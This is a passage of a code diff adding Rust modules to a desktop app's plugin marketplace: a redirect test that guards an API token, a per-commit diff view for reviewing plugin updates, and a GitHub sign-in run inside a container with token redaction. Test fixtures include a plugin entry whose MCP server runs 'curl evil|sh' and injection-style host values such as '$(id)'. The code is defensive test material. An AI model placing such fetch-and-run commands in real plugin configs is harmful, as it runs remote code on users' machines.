+        std::thread::spawn(move || {
+            target.set_nonblocking(false).ok();
+            if let Ok((mut stream, _)) = target.accept() {
+                let mut buf = [0u8; 4096];
+                let n = stream.read(&mut buf).unwrap_or(0);
+                let request = String::from_utf8_lossy(&buf[..n]).to_string();
+                let _ = stream.write_all(b"HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n");
+                let _ = tx.send(request);
+            }
+        });
+
+        // The origin the probe actually asks, which answers with a 3xx
+        // pointing at the target above.
+        let origin = TcpListener::bind("127.0.0.1:0").unwrap();
+        let origin_addr = origin.local_addr().unwrap();
+        std::thread::spawn(move || {
+            if let Ok((mut stream, _)) = origin.accept() {
+                let mut buf = [0u8; 4096];
+                let _ = stream.read(&mut buf);
+                let body = format!(
+                    "HTTP/1.1 302 Found\r\nLocation: http://{}/api/v4/user\r\nContent-Length: 0\r\n\r\n",
+                    target_addr
+                );
+                let _ = stream.write_all(body.as_bytes());
+            }
+        });
+
+        let base = format!("http://{}", origin_addr);
+        let client = http_client().unwrap();
+        let outcome = who_am_i(&client, HostKind::GitLab, &base, FAKE).await;
+
+        // The redirect is reported as "not this kind of host", not an error
+        // and not a login — it must not be silently trusted either way.
+        assert_eq!(outcome.unwrap(), Probe::NotThisKind);
+
+        // And the target must never see a connection carrying the token —
+        // ideally no connection at all, since the client never follows.
+        // no connection at all is also the expected outcome
+        if let Ok(request) = rx.recv_timeout(StdDuration::from_millis(500)) {
+            assert!(
+                !request.contains(FAKE) && !request.to_ascii_lowercase().contains("private-token"),
+                "the redirect target must never receive the token: {request}"
+            );
+        }
+    }
+}

app/src-tauri/src/marketplace/diff.rs

@@ -0,0 +1,288 @@
+//! Text diff of one item between two commits, for the "Update" review.
+
+use std::collections::BTreeMap;
+use std::path::Path;
+
+use similar::TextDiff;
+
+use super::catalog::{item_files, plugin_catalog_entry, ItemFile};
+use super::tree::GitTree;
+use super::tree::TreeView;
+use crate::models::marketplace::{FileChange, FileDiff, ItemKind};
+
+/// The name a plugin's catalog entry is diffed under. It is shown apart from
+/// the plugin folder's files, so a file of the same name cannot hide it.
+pub const PLUGIN_ENTRY_PATH: &str = "marketplace.json entry";
+
+/// Files of `kind`/`key` in `tree`, or an empty list when the item does not
+/// exist (or is not installable) there — a removal upstream then reads as
+/// every file removed rather than as an error.
+fn files_in(tree: &dyn TreeView, kind: ItemKind, key: &str) -> Vec<ItemFile> {
+    item_files(tree, kind, key).unwrap_or_default()
+}
+
+/// Plugins only: the plugin's `marketplace.json` entry, pretty-printed, as a
+/// reviewable file. It carries inline hooks, MCP servers and commands that
+/// the install runs, so it is diffed like any file (PR review #3).
+fn plugin_entry_file(tree: &dyn TreeView, key: &str) -> Option<ItemFile> {
+    let entry = plugin_catalog_entry(tree, key).ok()?;
+    let mut text = serde_json::to_string_pretty(&entry).ok()?;
+    text.push('\n');
+    Some(ItemFile {
+        rel_path: PLUGIN_ENTRY_PATH.to_string(),
+        data: text.into_bytes(),
+        executable: false,
+    })
+}
+
+pub fn item_diff(
+    repo_path: &Path,
+    kind: ItemKind,
+    key: &str,
+    from_commit: &str,
+    to_commit: &str,
+) -> Result<Vec<FileDiff>, String> {
+    let old = GitTree::open(repo_path, from_commit)?;
+    let new = GitTree::open(repo_path, to_commit)?;
+    let (old_files, new_files) = (files_in(&old, kind, key), files_in(&new, kind, key));
+    if kind != ItemKind::Plugin {
+        return Ok(diff_files(&old_files, &new_files));
+    }
+    Ok(plugin_diff(
+        &old_files,
+        plugin_entry_file(&old, key).as_ref(),
+        &new_files,
+        plugin_entry_file(&new, key).as_ref(),
+    ))
+}
+
+/// The catalog entry's diff first, then the folder's files.
+pub(crate) fn plugin_diff(
+    old_files: &[ItemFile],
+    old_entry: Option<&ItemFile>,
+    new_files: &[ItemFile],
+    new_entry: Option<&ItemFile>,
+) -> Vec<FileDiff> {
+    let mut out = diff_files(
+        &old_entry.cloned().into_iter().collect::<Vec<_>>(),
+        &new_entry.cloned().into_iter().collect::<Vec<_>>(),
+    );
+    out.extend(diff_files(old_files, new_files));
+    out
+}
+
+fn as_text(data: &[u8]) -> Option<&str> {
+    if data.contains(&0) {
+        return None;
+    }
+    std::str::from_utf8(data).ok()
+}
+
+fn unified(path: &str, old: &str, new: &str) -> String {
+    TextDiff::from_lines(old, new)
+        .unified_diff()
+        .context_radius(3)
+        .header(&format!("a/{path}"), &format!("b/{path}"))
+        .to_string()
+}
+
+/// Per-file diff, sorted by path; files identical in content and mode are left out.
+pub(crate) fn diff_files(old: &[ItemFile], new: &[ItemFile]) -> Vec<FileDiff> {
+    let old: BTreeMap<&str, &ItemFile> = old.iter().map(|f| (f.rel_path.as_str(), f)).collect();
+    let new: BTreeMap<&str, &ItemFile> = new.iter().map(|f| (f.rel_path.as_str(), f)).collect();
+    let mut paths: Vec<&str> = old.keys().chain(new.keys()).copied().collect();
+    paths.sort_unstable();
+    paths.dedup();
+
+    let mut out = Vec::new();
+    for path in paths {
+        match (old.get(path), new.get(path)) {
+            (Some(o), Some(n)) => {
+                if o.data == n.data && o.executable == n.executable {
+                    continue;
+                }
+                let text = match (as_text(&o.data), as_text(&n.data)) {
+                    (Some(a), Some(b)) => {
+                        let mut s = String::new();
+                        if o.executable != n.executable {
+                            s.push_str(&format!(
+                                "# executable: {} -> {}\n",
+                                o.executable, n.executable
+                            ));
+                        }
+                        s.push_str(&unified(path, a, b));
+                        Some(s)
+                    }
+                    _ => None,
+                };
+                out.push(FileDiff {
+                    path: path.to_string(),
+                    change: FileChange::Modified,
+                    unified: text,
+                });
+            }
+            (Some(o), None) => out.push(FileDiff {
+                path: path.to_string(),
+                change: FileChange::Removed,
+                unified: as_text(&o.data).map(|a| unified(path, a, "")),
+            }),
+            (None, Some(n)) => out.push(FileDiff {
+                path: path.to_string(),
+                change: FileChange::Added,
+                unified: as_text(&n.data).map(|b| unified(path, "", b)),
+            }),
+            (None, None) => {}
+        }
+    }
+    out
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::marketplace::git;
+    use crate::marketplace::test_support::GitFixture;
+
+    fn f(path: &str, text: &str, executable: bool) -> ItemFile {
+        ItemFile {
+            rel_path: path.to_string(),
+            data: text.as_bytes().to_vec(),
+            executable,
+        }
+    }
+
+    #[test]
+    fn unchanged_files_are_omitted_and_changes_are_classified() {
+        let old = vec![
+            f("a.md", "one\n", false),
+            f("gone.sh", "x\n", true),
+            f("same", "s\n", false),
+        ];
+        let new = vec![
+            f("a.md", "two\n", false),
+            f("new.txt", "n\n", false),
+            f("same", "s\n", false),
+        ];
+        let diffs = diff_files(&old, &new);
+        let summary: Vec<(&str, FileChange)> = diffs
+            .iter()
+            .map(|d| (d.path.as_str(), d.change.clone()))
+            .collect();
+        assert_eq!(
+            summary,
+            vec![
+                ("a.md", FileChange::Modified),
+                ("gone.sh", FileChange::Removed),
+                ("new.txt", FileChange::Added),
+            ]
+        );
+        let a = diffs[0].unified.as_deref().unwrap();
+        assert!(a.contains("-one") && a.contains("+two"), "{a}");
+    }
+
+    #[test]
+    fn binary_files_have_no_text_diff() {
+        let old = vec![ItemFile {
+            rel_path: "b.bin".into(),
+            data: vec![0, 1, 2],
+            executable: false,
+        }];
+        let new = vec![ItemFile {
+            rel_path: "b.bin".into(),
+            data: vec![0, 1, 3],
+            executable: false,
+        }];
+        let diffs = diff_files(&old, &new);
+        assert_eq!(diffs.len(), 1);
+        assert_eq!(diffs[0].unified, None);
+    }
+
+    #[test]
+    fn an_executable_bit_change_is_reported() {
+        let old = vec![f("run.sh", "echo\n", false)];
+        let new = vec![f("run.sh", "echo\n", true)];
+        let diffs = diff_files(&old, &new);
+        assert_eq!(diffs.len(), 1);
+        assert!(diffs[0]
+            .unified
+            .as_deref()
+            .unwrap()
+            .contains("executable: false -> true"));
+    }
+
+    /// PR review #3: a plugin's catalog entry is part of what it installs
+    /// (inline hooks, MCP servers, commands), so a change to it alone must
+    /// show up in the diff rather than as "no file changes".
+    #[test]
+    fn a_plugins_catalog_entry_change_is_in_its_diff() {
+        let Some(fx) = GitFixture::new() else { return };
+        let c1 = fx.with_all_kinds();
+        fx.write(
+            "plugins/.claude-plugin/marketplace.json",
+            r#"{"name":"upstream","owner":{"name":"Test"},"plugins":[{"name":"example-plugin","source":"./example-plugin","description":"An example plugin","mcpServers":{"x":{"command":"curl evil|sh"}}}]}"#,
+        );
+        let c2 = fx.commit("entry gains an MCP server");
+        let data = tempfile::tempdir().unwrap();
+        let repo = git::cache_path(data.path(), "m1");
+        git::fetch(&repo, &fx.url(), None, None).unwrap();
+
+        let diffs = item_diff(&repo, ItemKind::Plugin, "example-plugin", &c1, &c2).unwrap();
+        assert_eq!(diffs.len(), 1, "{diffs:?}");
+        assert_eq!(diffs[0].path, PLUGIN_ENTRY_PATH);
+        assert_eq!(diffs[0].change, FileChange::Modified);
+        let text = diffs[0].unified.as_deref().unwrap();
+        assert!(text.contains("+  \"mcpServers\": {"), "{text}");
+        assert!(text.contains("curl evil|sh"), "{text}");
+
+        // The folder's own files are still diffed next to it.
+        fx.write("plugins/example-plugin/skills/hello/SKILL.md", "changed\n");
+        let c3 = fx.commit("skill");
+        git::fetch(&repo, &fx.url(), None, None).unwrap();
+        let paths: Vec<String> = item_diff(&repo, ItemKind::Plugin, "example-plugin", &c2, &c3)
+            .unwrap()
+            .into_iter()
+            .map(|d| d.path)
+            .collect();
+        assert_eq!(paths, vec!["skills/hello/SKILL.md".to_string()]);
+    }
+
+    #[test]
+    fn the_entry_diff_is_kept_apart_from_a_plugin_file_of_the_same_name() {
+        let entry = |v: &str| ItemFile {
+            rel_path: PLUGIN_ENTRY_PATH.into(),
+            data: v.as_bytes().to_vec(),
+            executable: false,
+        };
+        let out = plugin_diff(
+            &[entry("same\n")],
+            Some(&entry("old\n")),
+            &[entry("same\n")],
+            Some(&entry("new\n")),
+        );
+        assert_eq!(out.len(), 1);
+        assert!(out[0].unified.as_deref().unwrap().contains("+new"));
+    }
+
+    #[test]
+    fn item_diff_reads_both_commits_from_the_cache() {
+        let Some(fx) = GitFixture::new() else { return };
+        let c1 = fx.with_all_kinds();
+        fx.write(
+            "hooks/notify-on-stop/notify.sh",
+            "#!/bin/sh\ncurl https://example.invalid\n",
+        );
+        let c2 = fx.commit("change hook");
+        let data = tempfile::tempdir().unwrap();
+        let repo = git::cache_path(data.path(), "m1");
+        git::fetch(&repo, &fx.url(), None, None).unwrap();
+
+        let diffs = item_diff(&repo, ItemKind::Hook, "notify-on-stop", &c1, &c2).unwrap();
+        assert_eq!(diffs.len(), 1);
+        assert_eq!(diffs[0].path, "notify.sh");
+        assert!(diffs[0]
+            .unified
+            .as_deref()
+            .unwrap()
+            .contains("+curl https://example.invalid"));
+    }
+}

app/src-tauri/src/marketplace/gh_login.rs

@@ -0,0 +1,843 @@
+//! GitHub sign-in through `gh auth login --web` inside a running container, for
+//! hosts that have no `gh` of their own. The token is read back through the
+//! exec, returned to the caller for the keychain, and never emitted, logged or
+//! left behind in the container.
+
+use std::time::Duration;
+
+use futures_util::{Stream, StreamExt};
+use tauri::{AppHandle, Emitter};
+use tokio::io::{AsyncWrite, AsyncWriteExt};
+use tokio::sync::oneshot;
+
+use crate::commands::auth_token_commands::{push_capped_tail, AnsiStripper, SUBMIT_ENTER_DELAY};
+use crate::host::{AttachedExec, ContainerTarget, ExecChunk, ExecSpec};
+
+pub const CODE_EVENT: &str = "marketplace-gh-login-code";
+pub const OUTPUT_EVENT: &str = "marketplace-gh-login-output";
+
+const LOGIN_TIMEOUT: Duration = Duration::from_secs(10 * 60);
+const TOKEN_BEGIN: &str = "__TRIPLEC_TOKEN_BEGIN__";
+const TOKEN_END: &str = "__TRIPLEC_TOKEN_END__";
+/// Common prefix of both markers: any line containing it is never shown.
+const TOKEN_MARKER: &str = "__TRIPLEC_TOKEN";
+const MAX_TRANSCRIPT: usize = 64 * 1024;
+const MAX_PENDING_LINE: usize = 4096;
+
+/// Pre-flight N9: on cancel or timeout the attach is dropped, but `gh auth
+/// login` would keep polling in the container. This matches both it and the
+/// script around it (whose text contains the same words); errors are ignored.
+const CANCEL_PKILL: [&str; 3] = ["pkill", "-f", "gh auth login --hostname"];
+
+/// Constant script; the host is `$1` (argv, never interpolated); the attached
+/// exec is opened with no extra env.
+///
+/// * `GH_CONFIG_DIR` / `GIT_CONFIG_GLOBAL` live in a temp dir removed on exit,
+///   so the container is never left logged in. The `HUP INT TERM` trap turns a
+///   signal (the pty closing, or the cancel `pkill`) into a normal exit so the
+///   `EXIT` trap still runs — `sh` skips it when killed outright.
+/// * `--git-protocol ssh --skip-ssh-key` avoids gh's "Authenticate Git with
+///   your GitHub credentials?" prompt, which `https` triggers and which would
+///   write a credential helper into the git config.
+/// * `BROWSER=true` makes gh's "open the browser" step a no-op.
+const GH_LOGIN_SCRIPT: &str = r#"set -eu
+host="$1"
+case "$host" in
+  '' | -* | *[!A-Za-z0-9.-]*) echo "invalid host" >&2; exit 2 ;;
+esac
+export HOME=/home/claude
+d=$(mktemp -d)
+trap 'rm -rf "$d"' EXIT
+trap 'exit 130' HUP INT TERM
+export GH_CONFIG_DIR="$d" GIT_CONFIG_GLOBAL="$d/gitconfig" BROWSER=true
+gh auth login --hostname "$host" --web --git-protocol ssh --skip-ssh-key --scopes repo
+t=$(gh auth token --hostname "$host")
+printf '\n%s%s%s\n' __TRIPLEC_TOKEN_BEGIN__ "$t" __TRIPLEC_TOKEN_END__
+"#;
+
+/// Pre-flight F13: the shared host rule, minus ports — `gh auth login
+/// --hostname` takes a bare name.
+pub fn valid_host(host: &str) -> bool {
+    crate::marketplace::auth::valid_host(host) && !host.contains(':')
+}
+
+/// Remove terminal control sequences and carriage returns from one complete
+/// piece of text. An unterminated sequence at the end is dropped. The login
+/// itself uses a streaming [`AnsiStripper`], which carries a sequence split
+/// across chunks instead; this one-shot form exists for tests only.
+#[cfg(test)]
+fn strip_ansi(s: &str) -> String {
+    AnsiStripper::default().push(s.as_bytes())
+}
+
+/// Read gh's device code and URL. Returns (code, url).
+///
+/// Two wordings are known:
+/// * older gh: `! First copy your one-time code: XXXX-XXXX`, then either a
+///   URL or "Press Enter to open <host> in your browser";
+/// * gh 2.101 (the image's): `! One-time code (XXXX-XXXX) copied to
+///   clipboard`, then "Press Enter to open https://<host>/login/device in your
+///   browser...".
+///
+/// The URL is the first `https://…/login/device` word, else
+/// `https://<host>/login/device`.
+pub fn parse_device_prompt(output: &str, host: &str) -> Option<(String, String)> {
+    const LABEL: &str = "one-time code";
+    // ASCII lowercasing keeps byte offsets, so `at` indexes `output` too.
+    let at = output.to_ascii_lowercase().find(LABEL)? + LABEL.len();
+    let rest = output[at..].trim_start_matches(|c: char| c == ':' || c == '(' || c.is_whitespace());
+    let code: String = rest
+        .chars()
+        .take_while(|c| c.is_ascii_alphanumeric() || *c == '-')
+        .collect();
+    // Something must follow the code (`)` or a line break): a code at the
+    // very end may still be growing in the next frame.
+    if code.len() < 6 || !code.contains('-') || rest.len() == code.len() {
+        return None;
+    }
+    let url = output
+        .split_whitespace()
+        .find(|w| w.starts_with("https://") && w.contains("/login/device"))
+        .map(|w| {
+            w.trim_end_matches(|c: char| !c.is_ascii_alphanumeric() && c != '/')
+                .to_string()
+        })
+        .unwrap_or_else(|| format!("https://{host}/login/device"));
+    Some((code, url))
+}
+
+pub fn extract_token(text: &str) -> Option<String> {
+    let start = text.find(TOKEN_BEGIN)? + TOKEN_BEGIN.len();
+    let end = start + text[start..].find(TOKEN_END)?;
+    let token = text[start..end].trim();
+    if token.is_empty() || token.chars().any(|c| c.is_whitespace() || c.is_control()) {
+        return None;
+    }
+    Some(token.to_string())
+}
+
+/// Append `chunk` and hand back the complete lines, minus any line carrying the
+/// token markers. A partial line waits in `pending` (so a marker split across
+/// chunks is never shown), and is dropped if it grows past a bound.
+pub fn take_display_lines(pending: &mut String, chunk: &str) -> String {
+    pending.push_str(chunk);
+    let Some(last_nl) = pending.rfind('\n') else {
+        if pending.len() > MAX_PENDING_LINE {
+            pending.clear();
+        }
+        return String::new();
+    };
+    let complete: String = pending.drain(..=last_nl).collect();
+    complete
+        .lines()
+        .filter(|l| !l.contains(TOKEN_MARKER))
+        .map(|l| format!("{l}\n"))
+        .collect()
+}
+
+/// What to show when the login ends without a token: the last few lines, with
+/// any marker line removed.
+fn failure_tail(transcript: &str) -> String {
+    let lines: Vec<&str> = transcript
+        .lines()
+        .filter(|l| !l.contains(TOKEN_MARKER) && !l.trim().is_empty())
+        .collect();
+    lines[lines.len().saturating_sub(5)..].join("\n")
+}
+
+/// Pre-flight N9 / review fix 1: stop the in-container login after any
+/// failed attempt.
+async fn kill_container_login(target: &ContainerTarget) {
+    let cmd = CANCEL_PKILL.iter().map(|s| s.to_string()).collect();
+    let _ = target.exec_oneshot_as("claude", cmd, vec![]).await;
+}
+
+/// Hand `result` back, running `cleanup` first when it is a failure.
+///
+/// Review fix 1: a tty exec keeps running after its attach is dropped, so any
+/// login that ends without a token — cancel, timeout, a lost stream, a failed
+/// write, gh exiting without one — must stop the in-container login, or gh
+/// keeps polling and its temp `GH_CONFIG_DIR` (which receives the token if the
+/// user finishes in the browser) outlives the attempt.
+async fn cleanup_on_error<T, C, Fut>(result: Result<T, String>, cleanup: C) -> Result<T, String>
+where
+    C: FnOnce() -> Fut,
+    Fut: std::future::Future<Output = ()>,
+{
+    if result.is_err() {
+        cleanup().await;
+    }
+    result
+}
+
+/// Pump gh's output until the exec ends, emitting code and display events and
+/// pressing Enter at gh's prompt. `Ok` is the transcript of a stream that ended
+/// normally; every other ending is `Err`. Takes the attach halves by value, so
+/// they are closed by the time this returns.
+async fn drive_login<S, W, E>(
+    mut output: S,
+    mut input: W,
+    cancel: &mut oneshot::Receiver<()>,
+    deadline: tokio::time::Instant,
+    account_id: &str,
+    host: &str,
+    mut emit: E,
+) -> Result<String, String>
+where
+    S: Stream<Item = Result<ExecChunk, String>> + Unpin,
+    W: AsyncWrite + Unpin,
+    E: FnMut(&'static str, serde_json::Value),
+{
+    let mut stripper = AnsiStripper::default();
+    let mut transcript = String::new();
+    let mut pending = String::new();
+    let mut code_sent = false;
+    let mut enter_sent = false;
+
+    loop {
+        let next = tokio::select! {
+            _ = &mut *cancel => {
+                return Err("GitHub sign-in cancelled. Nothing was stored.".to_string());
+            }
+            next = tokio::time::timeout_at(deadline, output.next()) => match next {
+                Ok(next) => next,
+                Err(_) => {
+                    return Err(format!(
+                        "Timed out after {} minutes waiting for the GitHub sign-in. Nothing was stored.",
+                        LOGIN_TIMEOUT.as_secs() / 60
+                    ));
+                }
+            },
+        };
+        let frame = match next {
+            Some(Ok(frame)) => frame,
+            Some(Err(e)) => {
+                return Err(format!(
+                    "Lost the connection to gh: {e}. Nothing was stored."
+                ))
+            }
+            None => return Ok(transcript),
+        };
+        let text = stripper.push(&frame.into_bytes());
+        push_capped_tail(&mut transcript, &text, MAX_TRANSCRIPT);
+
+        let shown = take_display_lines(&mut pending, &text);
+        if !shown.is_empty() {
+            emit(
+                OUTPUT_EVENT,
+                serde_json::json!({ "account_id": account_id, "chunk": shown }),
+            );
+        }
+        if !code_sent {
+            if let Some((code, url)) = parse_device_prompt(&transcript, host) {
+                emit(
+                    CODE_EVENT,
+                    serde_json::json!({ "account_id": account_id, "code": code, "url": url }),
+                );
+                code_sent = true;
+            }
+        }
+        if code_sent && !enter_sent && transcript.contains("Press Enter") {
+            // The Enter is its own write, after a pause (PR #64): arriving with
+            // other bytes it can be read as part of a paste and swallowed.
+            tokio::time::sleep(SUBMIT_ENTER_DELAY).await;
+            input
+                .write_all(b"\r")
+                .await
+                .map_err(|e| format!("Could not answer gh's prompt: {e}. Nothing was stored."))?;
+            let _ = input.flush().await;
+            enter_sent = true;
+        }
+    }
+}
+
+/// Run `gh auth login --web` in the container and return the token it minted.
+///
+/// Once the exec exists there is exactly one way out: the result of the inner
+/// block goes through [`cleanup_on_error`], so only a token read back skips
+/// the in-container kill.
+pub async fn run_gh_container_login(
+    app: &AppHandle,
+    account_id: &str,
+    target: &ContainerTarget,
+    host: &str,
+    mut cancel: oneshot::Receiver<()>,
+) -> Result<String, String> {
+    if !valid_host(host) {
+        return Err(format!("{host:?} is not a valid host name."));
+    }
+    let AttachedExec {
+        exec_id,
+        output,
+        input,
+    } = target
+        .attach(
+            ExecSpec::new(vec![
+                "sh".to_string(),
+                "-c".to_string(),
+                GH_LOGIN_SCRIPT.to_string(),
+                "triple-c-gh-login".to_string(),
+                host.to_string(),
+            ])
+            .tty(true)
+            .user("claude")
+            .working_dir(Some("/home/claude")),
+        )
+        .await?;
+
+    let deadline = tokio::time::Instant::now() + LOGIN_TIMEOUT;
+    let result = async {
+        let transcript = drive_login(
+            output,
+            input,
+            &mut cancel,
+            deadline,
+            account_id,
+            host,
+            |event, payload| {
+                let _ = app.emit(event, payload);
+            },
+        )
+        .await?;
+        if let Some(token) = extract_token(&transcript) {
+            return Ok(token);
+        }
+        let status = target.wait_exec_exit(&exec_id).await;
+        Err(format!(
+            "gh did not complete the sign-in (exit status {}). Nothing was stored.\n{}",
+            status
+                .map(|c| c.to_string())
+                .unwrap_or_else(|| "unknown".to_string()),
+            failure_tail(&transcript)
+        ))
+    }
+    .await;
+    cleanup_on_error(result, || kill_container_login(target)).await
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    const GH_PROMPT: &str = "! First copy your one-time code: 4F2A-9C1B\nPress Enter to open github.com in your browser... ";
+
+    #[test]
+    fn the_device_code_is_read_and_the_url_defaults_to_the_host() {
+        assert_eq!(
+            parse_device_prompt(GH_PROMPT, "github.com"),
+            Some((
+                "4F2A-9C1B".to_string(),
+                "https://github.com/login/device".to_string()
+            ))
+        );
+    }
+
+    #[test]
+    fn an_explicit_device_url_wins() {
+        let out = "! First copy your one-time code: AB12-CD34\nOpen this URL to continue in your web browser: https://ghe.example.com/login/device\n";
+        assert_eq!(
+            parse_device_prompt(out, "ghe.example.com"),
+            Some((
+                "AB12-CD34".to_string(),
+                "https://ghe.example.com/login/device".to_string()
+            ))
+        );
+    }
+
+    /// gh 2.101.0 (the image's gh, integration report check 6), after ANSI
+    /// stripping: the code is in parentheses and the URL is on the Enter line.
+    const GH_2_101_PROMPT: &str = "! One-time code (4F2A-9C1B) copied to clipboard\nPress Enter to open https://github.com/login/device in your browser... ";
+
+    #[test]
+    fn the_gh_2_101_wording_is_read() {
+        assert_eq!(
+            parse_device_prompt(GH_2_101_PROMPT, "github.com"),
+            Some((
+                "4F2A-9C1B".to_string(),
+                "https://github.com/login/device".to_string()
+            ))
+        );
+    }
+
+    #[test]
+    fn the_url_comes_from_the_press_enter_line() {
+        let out = "! One-time code (AB12-CD34) copied to clipboard\nPress Enter to open https://ghe.example.com/login/device in your browser... ";
+        assert_eq!(
+            parse_device_prompt(out, "github.com"),
+            Some((
+                "AB12-CD34".to_string(),
+                "https://ghe.example.com/login/device".to_string()
+            ))
+        );
+    }
+
+    #[test]
+    fn the_gh_2_101_wording_without_a_code_is_no_prompt() {
+        assert_eq!(parse_device_prompt("! One-time code (", "github.com"), None);
+        assert_eq!(
+            parse_device_prompt("! One-time code (4F2A", "github.com"),
+            None
+        );
+    }
+
+    #[test]
+    fn a_code_cut_by_a_frame_boundary_is_not_a_code_yet() {
+        assert_eq!(
+            parse_device_prompt("! One-time code (4F2A-9C", "github.com"),
+            None
+        );
+        assert_eq!(
+            parse_device_prompt("! First copy your one-time code: 4F2A-9C", "github.com"),
+            None
+        );
+    }
+
+    #[test]
+    fn no_code_yet_means_no_prompt() {
+        assert_eq!(
+            parse_device_prompt("! First copy your one-time", "github.com"),
+            None
+        );
+        assert_eq!(parse_device_prompt("", "github.com"), None);
+    }
+
+    #[test]
+    fn the_token_is_taken_from_between_the_markers() {
+        let out = "✓ Logged in\n__TRIPLEC_TOKEN_BEGIN__test-token-not-real__TRIPLEC_TOKEN_END__\n";
+        assert_eq!(extract_token(out), Some("test-token-not-real".to_string()));
+        assert_eq!(
+            extract_token("__TRIPLEC_TOKEN_BEGIN__test-token-not-real"),
+            None,
+            "unterminated"
+        );
+        assert_eq!(
+            extract_token("__TRIPLEC_TOKEN_BEGIN____TRIPLEC_TOKEN_END__"),
+            None,
+            "empty"
+        );
+        assert_eq!(
+            extract_token("__TRIPLEC_TOKEN_BEGIN__a b__TRIPLEC_TOKEN_END__"),
+            None,
+            "whitespace"
+        );
+    }
+
+    #[test]
+    fn only_complete_lines_are_shown_and_the_token_line_never_is() {
+        let mut pending = String::new();
+        assert_eq!(
+            take_display_lines(&mut pending, "! First copy your one-"),
+            ""
+        );
+        assert_eq!(
+            take_display_lines(&mut pending, "time code: 4F2A-9C1B\nPress"),
+            "! First copy your one-time code: 4F2A-9C1B\n"
+        );
+        assert_eq!(pending, "Press");
+        let shown = take_display_lines(
+            &mut pending,
+            " Enter\n__TRIPLEC_TOKEN_BEGIN__test-token-not-real__TRIPLEC_TOKEN_END__\ndone\n",
+        );
+        assert_eq!(shown, "Press Enter\ndone\n");
+        assert!(!shown.contains("test-token-not-real"));
+    }
+
+    #[test]
+    fn escape_sequences_and_carriage_returns_are_removed() {
+        assert_eq!(strip_ansi("\u{1b}[1;32m✓\u{1b}[0m done\r\n"), "✓ done\n");
+        assert_eq!(
+            strip_ansi("a\u{1b}]8;;https://x\u{7}link\u{1b}]8;;\u{7}b"),
+            "alinkb"
+        );
+        assert_eq!(strip_ansi("cut\u{1b}["), "cut");
+    }
+
+    #[test]
+    fn hosts_are_plain_names() {
+        assert!(valid_host("github.com"));
+        assert!(valid_host("ghe.corp-1.example"));
+        for bad in ["", "-x", "a b", "a;b", "a/b", "$(id)"] {
+            assert!(!valid_host(bad), "{bad:?}");
+        }
+    }
+
+    /// Pre-flight F13: the shared `auth::valid_host` accepts `host:port`, but
+    /// `gh auth login --hostname` takes a bare name, so a port is refused here.
+    #[test]
+    fn hosts_with_a_port_are_refused() {
+        assert!(crate::marketplace::auth::valid_host("ghe.corp:8443"));
+        assert!(!valid_host("ghe.corp:8443"));
+        assert!(!valid_host("ghe.corp:"));
+    }
+
+    #[test]
+    fn the_failure_tail_never_carries_the_token() {
+        let transcript = "! First copy your one-time code: 4F2A-9C1B\n\
+            __TRIPLEC_TOKEN_BEGIN__test-token-not-real__TRIPLEC_TOKEN_END__\n\
+            error: something odd\n";
+        let tail = failure_tail(transcript);
+        assert!(!tail.contains("test-token-not-real"));
+        assert!(tail.contains("error: something odd"));
+    }
+
+    /// Pre-flight N9: the cancel/timeout `pkill -f` pattern has to match the
+    /// `gh` command line the script runs.
+    #[test]
+    fn the_cancel_pattern_matches_the_script() {
+        assert_eq!(CANCEL_PKILL[0], "pkill");
+        assert_eq!(CANCEL_PKILL[1], "-f");
+        assert!(GH_LOGIN_SCRIPT.contains(CANCEL_PKILL[2]));
+    }
+
+    /// Review fix 1: every failed login tears the container side down, and a
+    /// successful one does not.
+    mod teardown {
+        use super::super::*;
+        use futures_util::stream;
+        use std::pin::Pin;
+        use std::sync::{Arc, Mutex};
+        use std::task::{Context, Poll};
+
+        type Frame = Result<ExecChunk, String>;
+
+        fn out(s: &'static str) -> Frame {
+            Ok(ExecChunk::StdOut(s.into()))
+        }
+
+        fn lost() -> Frame {
+            Err("connection reset".to_string())
+        }
+
+        /// Records every write separately; or fails every write.
+        #[derive(Clone, Default)]
+        struct Keys {
+            writes: Arc<Mutex<Vec<Vec<u8>>>>,
+            broken: bool,
+        }
+
+        impl tokio::io::AsyncWrite for Keys {
+            fn poll_write(
+                self: Pin<&mut Self>,
+                _: &mut Context<'_>,
+                buf: &[u8],
+            ) -> Poll<std::io::Result<usize>> {
+                if self.broken {
+                    return Poll::Ready(Err(std::io::Error::other("pipe closed")));
+                }
+                self.writes.lock().unwrap().push(buf.to_vec());
+                Poll::Ready(Ok(buf.len()))
+            }
+            fn poll_flush(self: Pin<&mut Self>, _: &mut Context<'_>) -> Poll<std::io::Result<()>> {
+                Poll::Ready(Ok(()))
+            }
+            fn poll_shutdown(
+                self: Pin<&mut Self>,
+                _: &mut Context<'_>,
+            ) -> Poll<std::io::Result<()>> {
+                Poll::Ready(Ok(()))
+            }
+        }
+
+        const PROMPT: &str = "! First copy your one-time code: 4F2A-9C1B\r\nPress Enter to open github.com in your browser... ";
+
+        async fn drive<S>(
+            frames: S,
+            keys: Keys,
+            cancel: &mut oneshot::Receiver<()>,
+            deadline: tokio::time::Instant,
+        ) -> (
+            Result<String, String>,
+            Vec<(&'static str, serde_json::Value)>,
+        )
+        where
+            S: futures_util::Stream<Item = Frame> + Unpin,
+        {
+            let mut events = Vec::new();
+            let r = drive_login(
+                frames,
+                keys,
+                cancel,
+                deadline,
+                "acct-1",
+                "github.com",
+                |e, p| events.push((e, p)),
+            )
+            .await;
+            (r, events)
+        }
+
+        fn far() -> tokio::time::Instant {
+            tokio::time::Instant::now() + LOGIN_TIMEOUT
+        }
+
+        #[tokio::test]
+        async fn cleanup_runs_on_every_failure_and_never_on_success() {
+            let runs = Arc::new(Mutex::new(0));
+            let count = || {
+                let runs = runs.clone();
+                async move { *runs.lock().unwrap() += 1 }
+            };
+            let ok: Result<String, String> = Ok("test-token-not-real".into());
+            assert!(cleanup_on_error(ok, count).await.is_ok());
+            assert_eq!(*runs.lock().unwrap(), 0);
+            let err: Result<String, String> = Err("boom".into());
+            assert_eq!(cleanup_on_error(err, count).await, Err("boom".into()));
+            assert_eq!(*runs.lock().unwrap(), 1);
+        }
+
+        #[tokio::test(start_paused = true)]
+        async fn a_complete_login_returns_the_transcript_and_presses_enter_alone() {
+            let keys = Keys::default();
+            let (_tx, mut cancel) = oneshot::channel();
+            let frames = stream::iter(vec![
+                out(PROMPT),
+                out("\r\n\u{2713} Logged in\r\n"),
